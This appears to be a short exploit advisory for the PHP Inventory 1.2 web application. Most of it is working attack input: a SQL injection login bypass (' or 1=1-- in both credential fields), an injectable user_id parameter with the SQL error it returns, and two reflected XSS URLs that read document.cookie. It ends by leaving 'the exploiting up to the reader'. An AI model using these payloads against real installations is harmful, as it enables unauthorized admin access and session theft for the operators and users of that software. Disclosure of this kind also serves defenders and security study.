PHP Inventory 1.2 - Authentication Bypass

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#
# PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity
# Found By: mr_me
# Download: http://www.phpwares.com/content/php-inventory
# Tested On: Windows Vista
# Note: For educational purposes only
#
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First of all lets login to admin with:

http://[server]/php-inventory/index.php

username: ' or 1=1--
password: ' or 1=1--

The app is riddled with SQL Injection. For example:

http://[server]/php-inventory/index.php?sub=users&action=details&user_id=[SQLI]

SELECT * FROM `site_users` WHERE `user_id`='1003''You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near ''1003''' at line 1

This of course means you can do some slightly dodgy refected XSS:

http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id='><script>alert(document.cookie)</script>

I leave the exploiting up to the reader.